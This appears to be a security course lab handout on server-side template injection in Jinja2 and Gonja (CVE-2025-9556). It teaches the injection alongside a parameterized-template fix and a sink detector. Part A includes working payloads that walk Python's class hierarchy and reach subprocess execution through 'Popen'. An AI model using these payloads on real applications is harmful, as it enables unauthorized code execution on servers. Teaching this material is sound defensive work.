Classroom Glossary Public page

Lab 4: SSTI in LLM Pipelines (CVE-2025-9556 Family)

584 words

Module: 4 — Server-Side Template Injection in LLM Pipelines
Points: 20
Time estimate: 2 hr lab + 2 hr independent
Deliverable: lab-4-report.md + lab4/ directory


Objectives

  1. Reproduce a Jinja2 SSTI chain from user input to class disclosure to RCE.
  2. Analyze the structural difference between Jinja2/Python and Gonja/Go SSTI.
  3. Implement and test the parameterized-template defense that fixes CVE-2025-9556.
  4. Identify SSTI sinks in the 4-language family (Python, Go, JavaScript, Java).

Setup

pip install jinja2 flask   # Python path
go install github.com/nikolalohinski/gonja/v2@v2.0.0   # Go path (optional)

The Pyodide in-browser environment has Jinja2 available. Go is required only for Part B.


Part A: Jinja2 SSTI — Class Disclosure to RCE (60 min)

You are building the minimal reproduction of how SSTI reaches RCE in a Jinja2 context.

Step 1: Confirm template execution

from jinja2 import Environment

env = Environment()

# VULNERABLE PATTERN: user input interpolated into template string
def render_vulnerable(user_input: str) -> str:
    template_string = f"Hello, {user_input}!"   # string concatenation -- WRONG
    return env.from_string(template_string).render()

# Arithmetic test: proves template expressions are evaluated
print(render_vulnerable("{{7*7}}"))    # should print: Hello, 49!
print(render_vulnerable("{{7*'7'}}"))  # should print: Hello, 7777777!

Record: do both print the evaluated result?

Step 2: Class disclosure via MRO traversal

# Access Python's object class hierarchy through template expressions
# This is the reconnaissance step before RCE

mro_payload = "{{ ''.__class__.__mro__ }}"
print(render_vulnerable(mro_payload))
# Expected output: (<class 'str'>, <class 'object'>)

subclass_payload = "{{ ''.__class__.__mro__[1].__subclasses__() }}"
result = render_vulnerable(subclass_payload)
print("First 5 subclasses:", result[:200])  # truncate for readability

Record: does the subclasses payload return a list of Python classes? Find the index of subprocess.Popen or a similar exec-capable class in the list.

Step 3: RCE via subprocess

This step demonstrates why class disclosure is the precursor to RCE. In a real engagement you would stop at class disclosure and report -- do not proceed on production systems.

# Find the index of a Popen-like class (your index may differ from the example)
# To find: look for 'Popen' in the subclasses list

# EXAMPLE ONLY -- the index 365 will differ in your environment
rce_payload = "{{ ''.__class__.__mro__[1].__subclasses__()[365](['id'],stdout=-1).communicate() }}"

# Safer alternative: just demonstrate you can call print() via template
# This proves code execution without a shell command
safe_rce_payload = "{{ ''.__class__.__mro__[1].__subclasses__() | selectattr('__name__', 'eq', 'Popen') | list }}"
result = render_vulnerable(safe_rce_payload)
print("Popen found:", 'Popen' in result)

Find the correct index for your Python version and demonstrate that the class is reachable. You do not need to execute a shell command -- proving class disclosure and the index is sufficient for this lab.

Step 4: The fix

from jinja2 import Template

# SAFE PATTERN: use Template with variables, not string concatenation
def render_safe(name: str) -> str:
    template = Template("Hello, {{ name }}!")   # template defined statically
    return template.render(name=name)           # user input passed as variable

# Verify: template syntax in input is NOT evaluated
print(render_safe("{{7*7}}"))     # should print: Hello, {{7*7}}!  (literal)
print(render_safe("Alice"))       # should print: Hello, Alice!

Record: does the safe pattern prevent template evaluation of user input?


Part B: Gonja (Go) vs. Jinja2 — Structural Analysis (30 min)

CVE-2025-9556 is a Go/Gonja SSTI. Gonja implements the Jinja2 template syntax in Go.

You do not need to reproduce the Go CVE if you don't have Go installed. Instead, analyze the structural difference:

  1. Identical attack surface. The vulnerable code pattern is the same in both languages:

    • Python/Jinja2: env.from_string(f"Hello, {user_input}!")
    • Go/Gonja: gonja.FromString("Hello, " + userInput + "!")

    Both are string concatenation before template parsing. The fix is the same structure in both: use template variables instead.

  2. Different object models. In Python, __class__.__mro__.__subclasses__() gives access to the Python object hierarchy. Go does not have this. In Gonja, the RCE path is different (Go reflection, registered global functions). Research and describe: what attack path exists in Gonja that does not exist in Jinja2? (Hint: Gonja templates can call registered Go functions; what does that mean for an attacker who controls the template string?)

  3. The 4-language family. Complete this table:

| Language/Engine | Vulnerable sink | Safe alternative | RCE path | Notes |
|---|---|---|---|---|
| Python / Jinja2 | `env.from_string(user_input)` | `Template(str).render(var=input)` | `__subclasses__()` MRO traversal | Most documented |
| Go / Gonja     | `gonja.FromString(user + input)` | `gonja.FromString(tmpl).Execute(ctx)` | registered global funcs | CVE-2025-9556 |
| JavaScript / Eta | | | | |
| Java / FreeMarker | | | | |

Fill in the JavaScript/Eta and Java/FreeMarker rows. You may research these; document your sources.


Part C: Detection and Reporting (30 min)

Source-code detector. Write a Python function that identifies SSTI sinks in Python source code:

import ast
import sys

SSTI_PATTERNS = [
    # (description, search_string)
    ("Jinja2 from_string with f-string", 'from_string(f"'),
    ("Jinja2 from_string with +", 'from_string('),
    ("Environment().from_string", 'Environment'),
]

def detect_ssti_candidates(filepath: str) -> list[dict]:
    """
    Read a Python file and flag lines that may be SSTI sinks.
    Returns list of {line_no, line, pattern} dicts.
    """
    findings = []
    with open(filepath) as f:
        lines = f.readlines()
    
    for i, line in enumerate(lines, 1):
        for desc, pattern in SSTI_PATTERNS:
            if pattern in line:
                findings.append({
                    "line_no": i,
                    "line": line.strip(),
                    "pattern": desc,
                    "severity": "HIGH" if "f\"" in line or "+ user" in line else "MEDIUM"
                })
    
    return findings

# Test against your own lab file
findings = detect_ssti_candidates("lab4/ssti_demo.py")
for f in findings:
    print(f"[{f['severity']}] Line {f['line_no']}: {f['pattern']}")
    print(f"  > {f['line']}")

Create lab4/ssti_demo.py containing both the vulnerable and safe patterns from Part A. Run your detector against it. Verify it flags the vulnerable patterns and does not flag the safe pattern.


Lab Report

Create lab-4-report.md with:

  1. Part A results (terminal output for each step; record your subclasses index)
  2. Go/Gonja structural analysis (Part B table completed + registered-function paragraph)
  3. Detector output: which lines were flagged, which were clean
  4. One finding-quality paragraph: "In a coordinated disclosure for CVE-2025-9556, how would you describe the root cause, the attack vector, and the remediation in 100 words?"

Grading

Component Points
Part A: arithmetic and class-disclosure payloads both demonstrated 5
Part A: safe pattern verified to prevent evaluation 3
Part B: 4-language table completed with all rows 5
Part B: Gonja registered-function path explained 2
Part C: detector flags vulnerable lines, passes safe lines 3
Disclosure paragraph: root cause, vector, remediation all present 2
Total 20